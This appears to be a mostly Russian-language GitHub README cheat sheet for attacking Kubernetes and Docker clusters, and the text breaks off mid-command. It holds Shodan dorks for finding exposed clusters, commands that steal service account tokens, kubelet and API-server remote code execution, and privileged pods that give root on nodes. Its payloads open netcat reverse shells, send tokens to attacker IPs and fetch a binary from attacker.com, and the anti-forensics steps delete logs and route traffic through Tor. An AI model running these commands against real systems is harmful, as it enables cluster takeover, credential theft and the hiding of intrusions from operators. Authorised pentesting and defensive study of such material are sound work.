reewardius / k8s-pentest

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

k8s-pentest

Shodan Dorks

#Kubernetes
- "Server: kubernetes"
- http.component:"apiserver"
- http.component:"kubelet"
- http.component:"kubernetes"
- http.favicon.hash:-1978416928
- http.title:"Kubernetes API Server"
- http.title:"Kubernetes API"
- http.title:"Kubernetes Dashboard"
- http.title:"Kubernetes Dashboard" OR http.title:"Kubernetes API"
- http.title:"Kubernetes Kubelet"
- http.title:"Kubernetes" http.component:"apiserver"
- http.title:"k8s"
- http.title:"kubernetes-master"
- kubernetes.api port:6443
- kubernetes.dashboard html:"Kubernetes Dashboard"
- kubernetes.dashboard.title:"Kubernetes Dashboard"
- kubernetes.port:10250
- kubernetes.port:10255
- org:"<orgName>" port:"10250"
- org:"<orgName>" product:"Kubernetes"
- product:"Kubelet"
- product:"Kubernetes API Server"
- product:"Kubernetes"
- product:"Kubernetes" port:6443
- product:"Kubernetes" port:8080
- product:Kubernetes
- title:"kubernetes API"
- title:"kubernetes kubelet"
- title:"kubernetes-dashboard"
- kubernetes
- http.component:"kubernetes"
- product:"Kubernetes"
- http.title:"Kubernetes Dashboard"
- http.favicon.hash:-1566942483
- http.title:"k8s"
- http.title:"kubernetes" country:<countryName>
- http.title:"kubernetes" org:"<orgName>"
- http.title:"kubernetes" org:"Amazon.com, Inc."
- http.title:"Kubernetes Web View"
- http.title:"kubernetes" port:6443
- http.title:"Kubernetes Dashboard" country:US
- http.title:"Kubernetes API Server" country:US
- http.title:"Kubernetes Dashboard" org:"<orgName>"
- http.title:"Kubernetes API Server" org:"<orgName>"

#Docker 
- docker
- http.component:"docker"
- http.title:"Docker Registry"
- docker port:2375
- docker port:2375 200 OK
- product:docker port:2375
- product:docker port:2375 200 OK
- Docker Registry
- Docker Registry 200 OK
- Docker Registry HTTP API
- Docker Registry HTTP API:   Repositories:
- Docker-Distribution-Api-Version
- http.title:"Amazon ECR"
- http.title:"Google Container Registry"
- http.title:"Azure Container Registry"
- http.title:"Quay"
- http.title:"Harbor"

#ArgoCD
- argoCD port:8080
- argoCD.server port:8080
- argoCD.web html:"Argo CD - Login"
- title:"argocd" http.favicon.hash:-332414767
- port:"443" title:"argocd - login"
- http.title:"Argo CD" http.component:"favicon"
- http.title:"Argo CD" port:"8080"

DNS.

Например, основные субдомены kubernetes выглядят как:

crt.sh -> k8s.* || Github "k8s.%.com"

image github

Настройка утилит kubectl

Для общения с API можно воспользоваться стандартным ПО kubectl.

Пример запроса:

kubectl get secrets

Запросы можно делать inline с токеном:

kubectl --token=$TOKEN --server=$APISERVER --insecure-skip-tls-verify=true

curl

Для curl кроме стандартных параметров (токен, неймспейс) потребуется адрес API-сервера.

$  export APISERVER=${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}
$  export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount
$  export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace)
$  export TOKEN=$(cat ${SERVICEACCOUNT}/token)
# Лишняя строка, но можно использовать с curl --cacert ${CACERT}
$  export CACERT=${SERVICEACCOUNT}/ca.crt
$  curl -k --header "Authorization: Bearer ${TOKEN}" https://${APISERVER}/path

Текущая конфигурация. Конфиг. Общая информация.

$  kubectl config view - Конфиг.
$  kubectl config get-users - Список пользователей
$  kubectl config view -o jsonpath='{.users[*].name}' - Список пользователей
$  kubectl config unset users.foo - Удалить пользователя

Контексты. Список контекстов

$  cat ~/.kube/config -> получить список имен всех контекстов (кластеров)
$  kubectl config get-contexts - Список всех контекстов
$  kubectl config current-context - Текущий контекст
$  kubectl config use-context <contextName> - Установить контекст
$  kubectl config set-context --current --namespace=ggckad-s2 - Установить namespace по-умолчанию

Node

Node - физическая или виртуальная машина, на которой выполняются Pod(контейнеры).

Static pod privelege escalation

Static pod - pod, который можно создать только на том же Node, где вы сейчас находитесь.

Кратко: в случае возможности записи по пути /etc/kubernetes/manifests, вы можете создать привилегированный контейнер и получить root на Node или закрепиться на этой Node.

1. Создаете файл Static-Pod.yaml (files/Static-Pod.yaml)
2. Помещаете его в /etc/kubernetes/manifests/
3. Запустится автоматически через несколько секунд
4. Заходите в Pod
5. Pod escape - вы root на Node или у Вас есть свой под на Ноде, можно например примонтировать хоствую файловую систему и в любой момент получить доступ с пода на ноду. Пример конфигурации описан в файле Static-Pod.yaml ??? (там несколько примеров на создание пода, выберите тот, что Вам подходит.

Pod - контейнеры. Группа из одного или нескольких приложений (контейнеров). Локальные файлы, что полезны после того, как мы попали в под.

- ca.crt - сертификат для проверки коммуникаций (можно отключить в curl через флаг -k)
- namespace - текущее рабочее пространство
- token - сервисный токен Pod'а (service account token, к нему прикрепляются Role & ClusterRole)

Где их обычно можно найти:

- /run/secrets/kubernetes.io/serviceaccount
- /var/run/secrets/kubernetes.io/serviceaccount
- /secrets/kubernetes.io/serviceaccount

Переменные окружения (ENV)

Команда для получения адреса API-сервера (обычно переменная KUBECONFIG - $KUBECONFIG):

- env && printenv
- set
- mount | grep "kube|kuber"
- cat /proc/1/cgroup | grep "kube"

Etcd

  • Etcd - key-value база данных. Является одним из самых критичных ресурсов в котором хранятся например токены.
  • По дефолту не зашифрована, но доступа к ней по дефолту нет, там требуется tls аутентификация, но она может быть отключена. Обязательно стоит проверять этот порт.
  • Порты: 2379/tcp, 6666/tcp
- Больше читать тут: files/etcd.txt

NodePort

Так как по-умолчанию запускается на определенном диапазоне tcp-портов, можно просканнировать их и найти ранее не исследованные сервисы.
$  nmap -sV -v -p 30000-32767 <IP$ 

API-server

По следующим URL можно определить, является ли веб-сервер Kubernetes API:

http://<kubernetes-api-server-url/swaggerapi
http://<kubernetes-api-server-url/healthz
http://<kubernetes-api-server-url/api/v1

Веб-сервер, предоставляющий API для управления kubernetes.
Порты: 
- 443/tcp (доступ возможен только с JWT)
- 6443/tcp (доступ возможен только с JWT)
- 8080/tcp (ДОСТУП ВОЗМОЖЕН БЕЗ JWT)
- 8443/tcp (доступ возможен только с JWT)
- Вообще порт может быть любым, может и 6|8|443 представлять анонимный доступ без аутентификации к кластеру, нужно сканировать полностью все порты и искать эндпоинт /api/v1

$  curl --insecure -X GET https://<kubernetes-api-server-url>:8080/api/v1/nodes
$  curl --insecure -X GET --header "Authorization: Bearer <token>" https://<kubernetes-api-server-url>:(8|6|443)/api/v1/nodes
$  curl --insecure -X GET https://<kubernetes-api-server-url:8080/api/v1/pods?fieldSelector=spec.nodeName=<node-name> 
$  curl --insecure -X GET --header "Authorization: Bearer <token$ " https://<kubernetes-api-server-url>:(8|6|443)/api/v1/pods?fieldSelector=spec.nodeName=<node-name$ 
$  curl --insecure -X GET https://<kubernetes-api-server-url:8080/api/v1/namespaces/<namespace$ /pods/<pod-name> 
$  curl --insecure -X GET https://<kubernetes-api-server-url:8080/api/v1/namespaces/<namespace$ /pods/<pod-name>  | jq '.spec.containers[].name'
$  curl --insecure -X POST --header "Authorization: Bearer <token>" --header "Content-Type: application/json" --data '{"command": ["<command$ "], "container": "<container-name$ "}' https://<kubernetes-api-server-url>:(8|6|443)/api/v1/namespaces/<namespace>/pods/<pod-name>/exec
$  curl --insecure -X POST --header "Content-Type: application/json" --data '{"command": ["<command$ "], "container": "<container-name$ "}' https://<kubernetes-api-server-url:8080/api/v1/namespaces/<namespace>/pods/<pod-name>/exec
$  curl http://<kubernetes-api-server-url:8080/api —>  200 OK # Есть доступ
$  kubectl -shttp://<kubernetes-api-server-url>:8080 get pods # Получить список подов в текущем namespace (дефолтный это default)
$  kubectl -shttp://<kubernetes-api-server-url>:8080 get pods -A/ --all-namespaces # Получить список всех подов
$  kubectl -shttp://<kubernetes-api-server-url>:8080 get nodes # Получить список всех нод в кластере
$  kubectl -shttp://<kubernetes-api-server-url>:8080 get pods --field-selector spec.nodeName=<node-name$  # Получить список всех подов на конкретной ноде

# Получить адрес kube-api-server (на поде выполнить команду)
$ curl https://kubernetes.default.svc/api/v1/namespaces/kube-system/endpoints/kubernetes -k -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)"
$ curl https://kubernetes.default.svc/api/v1/namespaces/kube-system/endpoints/kubernetes -k -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" | jq '.subsets[].addresses[].ip'

# Создать свой под на ноде через анонимный доступ к kube-api-server-url, что позволит нам создать свой под, прикрепить к поду файловую систему хоста и получить рут на ноде.
# Можно сразу же создать под на мастер ноде и получить доступ к мастеру и захватить кластер.
$  kubectl -shttp://<kubernetes-api-server-url>:8080 apply -f mal.yaml (files/mal.yaml)
$  kubectl -shttp://<kubernetes-api-server-url>:8080 exec -it {podName) -- /bin/bash # Имя пода будет test (указывается в yaml)
$  kubectl -shttp://<kubernetes-api-server-url>:8080 exec -it {podName) sh # Имя пода будет test (указывается в yaml)

Kubelet API

Агент, работающий на каждом узле в кластере. Следит за контейнерами на Pod'е.
Порты: 10250/tcp(https API - полный доступ к ноде), 10255/tcp(http-api read-only, без аутентификации)

http://<external-IP>:10255/pods -$  Информация о Pod'ах и их контейнерах:

Эксплуатация:
1. Отсутствие авторизации 10250/tcp
2. Если на сервере отсутствует авторизация, то можно проэксплуатировать RCE.

Чтобы проверить:

$ curl -k https://<IP address>:10250/metrics
$ curl -k https://<IP address>:10250/pods

Если не вернуло "Unauthorized" - можно запустить код (подставить namespace, pod, container):

$ curl -Gks https://worker:10250/exec/{namespace}/{pod}/{container} -d 'input=1' -d 'output=1' -d 'tty=1' -d 'command=ls' -d 'command=/'

Также можно воспользоваться скриптом https://github.com/serain/kubelet-anon-rce

Kube-proxy

Сетевая прокся, работающая на каждом узле в кластере. Конфигурирует правила сети на узлах.
Порты: 10256/tcp(healthcheck). 

Ничего интересного.

Argo CD

Submit new workflow! > https://www.intezer.com/blog/container-security/new-attacks-on-kubernetes-via-misconfigured-argo-workflows/
![argocd](https://raw.githubusercontent.com/reewardius/k8s-pentest/main/img/argocd.webp)
Backdoor yaml file (files/argocdBackdoor.yaml)

Role-Based Access Control

НАСЧЕТ РОЛЕЙ СЮДА - https://github.com/cyberark/kubernetes-rbac-audit

  • Cистема контроля доступа, которая говорит куда у нас есть доступ и что это за доступ (get, list, update, delete).
$  kubectl get rolebindings,clusterrolebindings --all-namespaces -o custom-columns='KIND:kind,NAMESPACE:metadata.namespace,NAME:metadata.name,SERVICE_ACCOUNTS:subjects[?(@.kind=="ServiceAccount")].name' | grep service_account_name
$  curl -s $APISERVER/apis/rbac.authorization.k8s.io/v1/clusterrolebindings?limit=500 --header "Authorization: Bearer $TOKEN" --cacert /tmp/ca.crt

Там же можно посмотреть информацию о роли RBAC. Или сделать отдельные запросы:

$  kubectl get role system:controller:bootstrap-signer -n kube-system -o yaml

Другие команды для получения информации о текущей роли.

$ kubectl auth can-i --list

$ kubectl describe pod | grep -E '^ *Name:|^ *Namespace:|^ *Token:'

$ kubectl auth can-i --list --namespace= --as=system:serviceaccount::

$ kubectl auth can-i list pods --namespace=default --as=system:serviceaccount::


- Список ролей кластера:

$  kubectl get clusterroles
$  kubectl describe clusterroles

- Список Cluster Roles Bindings:

$  kubectl get clusterrolebindings
$  kubectl describe clusterrolebindings

- Список ролей:

$ kubectl get roles $ kubectl get rolebindings --all-namespaces --output=json | jq '.items[] | select(.subjects[].name == "")' $ kubectl describe roles

- Список Role Buildings:

$  kubectl get rolebindings
$  kubectl describe rolebindings

Работа с ролями. Что я могу когда есть конкретная роль?

  • Доступ port-forward позволяет прокинуть порт с удаленного Pod'а на локальную машину.
  • Полезно например если хотите достучаться до уязвимого сервиса.
$ kubectl port-forward <pod-name> <local-port>:<pod-port>

RemoteServer: > ssh -R 8000:localhost:3000 user@localServer (все с удаленного сервера на порту 8000 на внутренний сервер на порт 3000)

LocalServer: > ssh -L 3336:remote:3306 user@remoteServer (все с локального сервера на порту 3336 на порт 3306 на удаленный сервер)

Доступ к удаленному сервису на локальной машине кубера через SSH.

$ master node: kubectl port-forward service/Market 3000:28015
$ remote host -> master node: ssh -R 8000:localhost:3000 user@MasterNode

This command will forward all traffic received on port 8000 of the remote server to port 3000 on your local machine. 
So, when you access port 8000 on the remote server, the traffic will be forwarded to port 3000 on your local machine, which is listening for traffic from port 28015 of the Kubernetes service "Market".
This should allow you to access the Kubernetes service "Market" remotely via SSH, by connecting to port 8000 on the remote server.

  • Доступ create позволяет создавать новые Pod'ы.
Три варианта эксплуатации:

1. Кража токена сервисного аккаунта: в случае, если у созданного пода будет прикреплен сервисный аккаунт с другими привилегиями, то мы можем забрать токен из него и работать от имени сервисного аккаунта.
2. Доступ на хостовую систему, на которой запущен конейнер (побег из конейнера см. docker_escape)
3. Запуск майнера

$  kubectl apply -f create.yaml (files/create.yaml)

Что делает созданный Pod:

1. подключится к 192.168.154.228:6666 и выведет информацию о сервисном аккаунте который будет закреплен за данным контейнером (кража токена, который можно использовать на другом PC)
2. hostPID - работа с хостовыми PID
3. hostIPC - работа с хостовыми IPC
4. hostNetwork - работа с хостовыми сетями
5. volumeMounts - хостовая файловая система, доступная по /host

Если вам не нужна кража токена, то однострочник для запуска:
$  kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}'

Для запросов через curl, требуется создать json-файл. create.json (file/create.json)
$  curl -v -s $APISERVER/api/v1/namespaces/default/pods -X POST --header "Authorization: Bearer $TOKEN" -k -d@create.json
  • Доступ exec

Если у вас есть привилегия exec на один или несколько Pod'ов, то вы можете зайти в них и выполнять произвольные команды.

$  kubectl exec --stdin --tty shell-demo -n pod_namespace -- /bin/bash
! Помните, что если kubectl exec запрещен для текущего service-account-token, тогда нужно искать способ попасть на ноду, на ноде в контейнеры можно заходить через docker exec, это ограничить нельзя средствами kubernetes.
  • Привилегии - DaemonSet

DaemonSet позволяет контролировать запуск поды на каждой ноде. Создаем DaemonSet и запускаем на каждой ноде, получаем закрепление на каждой ноде. Доступ - create

Пример DaemonSet. (files/daemonset.yaml) 

Еще один пример files/daemonset2.yaml, выполняется команда по краже токена, который отправляется на 192.168.154.228:6666.

При желании, конфиг можно отредактировать, добавив:

1. Backconnect - заменить команду netcat на нужную и оказаться внутри контейнера.
2. Docker escape - разные привилегии позволяющие сбежать из контейнера на хостовую систему

$  curl -v -s $APISERVER/apis/apps/v1/namespaces/kube-system/daemonsets?fieldManager=kubectl-client-side-apply -X POST --header "Authorization: Bearer $TOKEN" -k -d@daemonset2.json (files/daemonset2.json)

Привилегии - Deployment

  • Доступ - list & create
$  kubectl get deployments
$  kubectl get deployments -n custnamespace
$  curl -v -s $APISERVER/api/v1/namespaces/<namespace$ /deployments/ --header "Authorization: Bearer $TOKEN" -k

Создать Deployment - kubectl -f deployment.yaml (file/deployment.yaml), у которого при старте будет выполняться наша команда.

В примере выполняется команда по краже токена, который отправляется на 192.168.154.228:6666.
1. Backconnect - заменить команду netcat на нужную и оказаться внутри контейнера.
2. Docker escape - разные привилегии позволяющие сбежать из контейнера на хостовую систему

$ curl -v -s $APISERVER/apis/apps/v1/namespaces/kube-system/deployments?fieldManager=kubectl-client-side-apply -X POST --header "Authorization: Bearer $TOKEN" -k -d@deployment.json (file/deployment.json)

Привилегии - Jobs

Права на создание или исправление. Создать свою задачу, что запустит под с реверс шеллом. (files/reverseShellJob.yaml)

$ kubectl get jobs
$ kubectl apply -f reverseShellJob.yaml
$ kubectl logs -f <pod-name>

Привилегии - Cronjobs

Права на создание или исправление. Создать свою задачу, что запустит под с реверс шеллом, и будет его запускать по расписанию. (files/reverseShellCronJob.yaml)

$ kubectl get jobs
$ kubectl apply -f reverseShellCronJob.yaml
$ kubectl logs -f <pod-name>

Стороннее ПО

services

cAdvisor - Собирает статистику по контейнерам. 
Порт: 4194/tcp. Репозиторий: https://github.com/google/cadvisor
$ curl -k https://<cAdvisor>:4194
---
Calico - CNI Plugin for Kubernetes, позволяет более гибко настраивать и управлять сетевыми политиками в Kubernetes.
$ Порты: 9099/tcp(calico-felix -демон запущенных на всех машинах обслуживающихся Calico).
---
Calico - Typha. Компонент Calico для расширения Kubernetes deployment.
$ Порты: 5473/tcp.
---
Weave Score. Инструмент для мониторинга кластеров Docker и Kubernetes.
$ Порты: 6782/tcp, 6783/tcp, 6784/tcp (метрики и api-endpoints), 4040/tcp (WEB-UI).
---
Helm. Пакетный менеджер для Kubernetes. Используется для управления чартами.
$ Порты: 44134/tcp (tiller)

Tiller

Взаимодействие с сервисом. Для взаимодействия с сервисом нужна утилита helm, после чего можно подключиться командой:

$ helm --host tiller-deploy.kube-system:44134 version

Эксплуатация и повышение привилегий

По умолчанию Helm2 установлен в kube-system namespace с большими привилегиями, то достаточно загрузить на него специальный проект https://github.com/Ruil1n/helm-tiller-pwn , который позволяет запускать команды:

$ git clone https://github.com/Ruil1n/helm-tiller-pwn

$ helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn/pwnchart

Подробнее про атаку: http://rui0.cn/archives/1573

Облака

![Важно] В случае, если kubernetes запущен в облаке, то это позволяет нам получить доп. информацию.

$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ [Amazon Cloud]
$ curl http://metadata.google.internal/computeMetadata/v1/ [GCP Cloud]
$ curl http://169.254.169.254/metadata/instance?api-version=2019-03-11 [Azure Cloud]
$ curl http://100.100.100.200/latest/meta-data/ [Alibaba Cloud]
$ curl http://169.254.169.254/metadata/v1/ [Digital Ocean]
$ curl http://169.254.169.254/opc/v1/instance/ [Oracle Cloud]

Сокрытие подключения

Удалить все логи

$ ./del_logs.sh

  • Удалит все логи на ноде, но не удалит логи, что уже улетели сюда - Elasticsearch, Fluentd, or Kibana.

Удалить записи о создании, удалении или изменении состояния ресурса (пода).

$ kubectl delete events --all --now

Pod or container name similarity

  • Pods that are created by controllers such as Deployment or DaemonSet have random suffix in their names.
  • Attackers can use this fact and name their backdoor pods as they were created by the existing controllers.
  • For example, an attacker could create a malicious pod named coredns-{random suffix} which would look related to the CoreDNS Deployment.

Connect from proxy server.

Use Tor to connect. Attackers may use proxy servers to hide their origin IP.

Initial Access

  • Kubeconfig file
  • Kube-Api-Server
  • Kubelet
  • Kubernetes dashboard
  • Helmv2
  • ArgoCD
  • etcd
  • RCE in container
  • Docker Daemon Exposed (Docker API)
  • sshd in docker container
  • Using cloud credentials
  • Docker Registry
  • Compromised image in registry (Malware container)
$ sudo apt-get update
$ sudo apt-get install awscli

$ aws configure
$ curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
$ sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl
$ aws eks list-clusters
$ aws iam list-roles
$ aws iam get-role --role-name <role-name>
$ aws iam get-role-policy --role-name <role-name> --policy-name <policy-name>
$ aws ecs describe-clusters --cluster <ClusterName>
$ aws eks update-kubeconfig --name <cluster-name>
$ kubectl get nodes
$ kubectl get pods --all-namespaces
$ kubectl describe node <node-name>

$ git clone https://github.com/kvaps/kubectl-node-shell

AmazonEKSClusterPolicy managed policy - Provides permissions to create and manage Amazon EKS clusters.
AmazonEKSServicePolicy managed policy - Allows Amazon EKS to create and manage resources on your behalf
AmazonEKSWorkerNodePolicy - Provides permissions to register worker nodes with the cluster and join the cluster.

# Docker

AWS Pull Images / AWS ECR

> aws ecr describe-repositories -> вывести все репы
> aws ecr get-repository-policy --repository-name <RepositoryName> -> политика по репе (мои права на ECR)
> aws ecr list-images --repository-name <RepositoryName> -> мои imageTag в репе
> docker pull <aws_account_id>.dkr.ecr.<region>.amazonaws.com/<repository_name>:<imageTag>

1. Docker-level permissions:

- AmazonEC2ContainerRegistryFullAccess managed policy - Provides full access to Amazon ECR.

2. Amazon ECR permissions:

- AmazonEC2ContainerRegistryPowerUser managed policy - Provides permissions to list and describe images, create and modify repositories, and manage image lifecycle policies in Amazon ECR.
- AmazonEC2ContainerRegistryReadOnly managed policy - Provides read-only permissions to Amazon ECR.

Credential Access

  • List K8S secrets
  • Mount service principal
  • Container service account
  • Application credentials in configuration files
  • Access managed identity credentials
  • Malicious admission controller

Discovery

  • Access Kubernetes API server
  • Access Kubelet API
  • Network mapping
  • Exposed sensitive interfaces
  • Instance Metadata API

Lateral Movement

- $  env
- $  mount | grep "kubernetes"
- $  cat /proc/1/cgroup | grep "kube"
- $  which kubectl
- $  which curl
- $  which wget
- $  wget https://{KUBE_API}/api/v1/namespaces/{namespace}/pods
- $  ls /run/secrets/kubernetes.io/serviceaccount
- # ca.crt
- # namespace
- # token

- $  export TOKEN=`cat /run/secrets/kubernetes.io/serviceaccount/token`

- $  wget https://{KUBE_API}/api/v1/namespaces/{namespace}/pods --header="Authorization: Bearer $TOKEN" --no-check-certificate -O pods.txt

- $  wget http://attacker.com/kubectl
- $  chmod +x kubectl

- $  ./kubectl auth can-i list pods
- $  ./kubectl auth can-i create pods
- $  ./kubectl get pods
- $  ./kubectl get nodes
- $  ./kubectl get svc

- $  ./kubectl exec -it {pod_id} /bin/sh
- $  id

Collection

1. Images from a private registry
2. Collecting data from pod

Impact

1. Data destruction 
2. Resource hijacking (mining)
3. Denial of service

Утилиты

---
# CloudTricks https://cloud.hacktricks.xyz/pentesting-cloud/
---
# ctrsploit https://github.com/ctrsploit/ctrsploit - Запуск внутри контейнера, с эксплуатацией повышения привилегий.
---
# kube-hunter https://github.com/aquasecurity/kube-hunter - Локально в кластере или удаленно.
$  kube-hunter --cidr 192.168.0.0/24 --active
$  kube-hunter --remote some.domain.com --active
$  kube-hunter --active --service-account-token eyJhbGciOiJSUzI1Ni...
---
# CDK https://github.com/cdk-team/CDK - Утилита для повышения привилегий из контейнера (+ опции для сканирования kubernetes).
---
# kdigger https://github.com/quarkslab/kdigger - Утилита нужна только, чтобы понять запущен ли код внутри контейнера или нет
$  Запущен ли код внутри контейнера или нет?
$  Дополнительные проверки, которые могут помочь при container escape
$  Важно! Есть некоторые проверки, которые могут повлиять на кластер, но они доступны только с опцией --active/-a.
---
# amicontained https://github.com/genuinetools/amicontained - Container introspection tool.
---
# Peirates https://github.com/inguardians/peirates - Инструмент для пентеста куберов и постэксплуатации, например, сбора secrets с Node.
---
# BOtB https://github.com/brompwnie/botb - Утилита для анализа и эксплуатации контейнеров. В случае с кубером может искать сервисные аккаунты и автоматически заюзать их секреты.
---
# Deepce https://stealthcopter.github.io/deepce - Повышение привилегий/побег из контейнера docker.
---
# kubesploit https://github.com/cyberark/kubesploit - Post-Exploitation framework. Много модулей.
---
# https://github.com/aquasecurity/kube-bench - CIS Kubernetes Benchmark.
---
# https://github.com/kubescape/kubescape - Security YAML Linter
---
# https://github.com/controlplaneio/kubesec - Security YAML Linter
---
# https://github.com/dev-sec/cis-kubernetes-benchmark - CIS Kubernetes Benchmark
---
# https://github.com/dev-sec/cis-docker-benchmark - CIS Docker Benchmark
---
# https://github.com/dev-sec/linux-baseline - CIS Linux Benchmark
---
# https://github.com/dev-sec/windows-baseline - CIS Windows Benchmark
---
# https://github.com/deepfence/SecretScanner - Docker Secret Scanner
---
# https://github.com/GitGuardian/ggshield - Docker Secret Scanner
---
# https://github.com/hadolint/hadolint - Dockerfile Linter
---
# https://github.com/goodwithtech/dockle - Container Image Linter for Security
---
# https://github.com/aquasecurity/trivy - Docker Security Scanner
---
# https://github.com/Ullaakut/Gorsair - Tool for discovering and remotely accessing Docker APIs
---
# https://github.com/anchore/grype - SBOM Security Scanner
---
# https://github.com/chen-keinan/kube-beacon - Security audit scanner
---
# https://github.com/derailed/popeye - Kubernetes Cluster Sanitizer

Статьи.

1. https://dou.ua/forums/topic/36341/?from=jobsrelated_tech
2. https://microsoft.github.io/Threat-Matrix-for-Kubernetes/
3. https://labs.withsecure.com/publications/attacking-kubernetes-through-kubelet
4. https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1
5. https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-2
6. https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-3
7. https://lobuhisec.medium.com/kubernetes-pentest-recon-checklist-tools-and-resources-30d8e4b69463
8. https://madhuakula.com/content/attacking-and-auditing-docker-containers-using-opensource/
9. https://cloudsecdocs.com/container_security/offensive/
10. https://tbhaxor.com/container-breakout-part-1/
11. https://habr.com/ru/company/flant/blog/465141/
12. https://habr.com/ru/company/southbridge/blog/655409/
13. https://habr.com/ru/company/southbridge/blog/507656/
14. https://github.com/g3rzi/HackingKubernetes
15. https://gitlab.com/pentest-tools/PayloadsAllTheThings/-/tree/master/Kubernetes
16. https://www.microsoft.com/en-us/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/
17. https://t.me/k8security/756
18. https://madhuakula.com/content/attacking-and-auditing-docker-containers-using-opensource/
19. https://madhuakula.com/kubernetes-goat/
20. https://hackernoon.com/capturing-all-the-flags-in-bsidessf-ctf-by-pwning-our-infrastructure-3570b99b4dd0
21. https://github.com/ggnanasekaran77/cks-exam-tips
22. https://habr.com/ru/company/flant/blog/465141/
23. https://cloudsecdocs.com/container_security/theory/threats/docker_threat_model/
24. https://spy-soft.net/hack-docker-kubernetes-amazon/
25. https://github.com/SunWeb3Sec/Kubernetes-security
26. https://kubernetes.io/blog/2018/07/18/11-ways-not-to-get-hacked/#2-enable-rbac-with-least-privilege-disable-abac-and-monitor-logs
27. http://itsecwiki.org/index.php/Kubernetes
28. https://github.com/krol3/container-security-checklist
29. https://habr.com/ru/post/549076/
30. https://www.intezer.com/blog/container-security/new-attacks-on-kubernetes-via-misconfigured-argo-workflows/

Доклады. Лучшее.

1) https://www.youtube.com/watch?v=vTgQLzeBfRU&t=2119s
2) https://www.youtube.com/watch?v=fVqCAUJiIn0&t=1637s
3) https://www.youtube.com/watch?v=dxKpCO2dAy8
4) Kubernetes Goat - https://youtu.be/5ojho4L6Xfo
5) На русском: https://youtu.be/MwVXWU324XY
6) https://youtu.be/Ek1oaGwfli0
7) https://youtu.be/PZBLOCSmeiA
8) https://youtu.be/JoLgVBTc73c
9) https://youtu.be/LtCx3zZpOfs
10) https://youtu.be/UdMFTdeAL1s

Машины HTB.

1. https://0xdf.gitlab.io/2021/09/04/htb-unobtainium.html
2. https://0xdf.gitlab.io/2022/02/14/htb-steamcloud.html

Похек.

  1. Получить доступ в контейнер, в кластер.
  2. Вы точно в докере?
  3. Вы точно в кубернетисе?
  4. Вы точно в клауде? Определить клауд.
  5. Поиск информации о контейнере (написать скрипт ??????)

Вы упали в кубер, где у Вас нет возможности писать (рид онли), чмода нет (защита от секкомп), но есть курл? Сейчас все сделаем. Это вернет все права для вашего сервис токена, что у вас есть и примонтирован к поду, или где-то вы его взяли.

$ curl -sSk -H "Authorization: Bearer $TOKEN" -X POST \
https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_PORT_443_TCP_PORT/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
-d '{"kind": "SelfSubjectRulesReview", "apiVersion": "authorization.k8s.io/v1", "spec": {}}' \
-H 'Content-Type: application/json'

Есть права на создания чего-то?

Creating a Pod (github yaml file):

$ curl --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
  -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
  -H 'Content-Type: application/json' \
  -X POST \
  -d "$(curl https://raw.githubusercontent.com/<username>/<repository>/main/pod.yaml)" \
  "https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_PORT_443_TCP_PORT/api/v1/namespaces/{namespace}/pods"

Creating a Pod (without yaml file):

curl --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
  -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
  -H 'Content-Type: application/json' \
  -X POST \
  -d '{"apiVersion": "v1", "kind": "Pod", "metadata": {"name": "mypod"}, "spec": {"containers": [{"name": "netcat", "image": "alpine", "command": ["nc", "192.168.1.105", "5555", "-e", "/bin/bash"], "securityContext": {"privileged": true}, "volumeMounts": [{"mountPath": "/host", "name": "host"}]}], "volumes": [{"name": "host", "hostPath": {"path": "/"}}]}}' \
  "https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_PORT_443_TCP_PORT/api/v1/namespaces/{namespace}/pods"

Больше примеров:

Creating a Deployment:

curl --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
  -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
  -H 'Content-Type: application/json' \
  -X POST \
  -d '{"apiVersion": "apps/v1", "kind": "Deployment", "metadata": {"name": "mydeployment"}, "spec": {"replicas": 1, "selector": {"matchLabels": {"app": "netcat"}}, "template": {"metadata": {"labels": {"app": "netcat"}}, "spec": {"containers": [{"name": "netcat", "image": "alpine", "command": ["nc", "192.168.1.105", "5555", "-e", "/bin/bash"], "securityContext": {"privileged": true}, "volumeMounts": [{"mountPath": "/host", "name": "host"}]}], "volumes": [{"name": "host", "hostPath": {"path": "/"}}]}}}}' \
  "https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_PORT_443_TCP_PORT/apis/apps/v1/namespaces/{namespace}/deployments"

Creating a Job:

curl --cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
  -H "Authorization: Bearer $(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" \
  -H 'Content-Type: application/json' \
  -X POST \
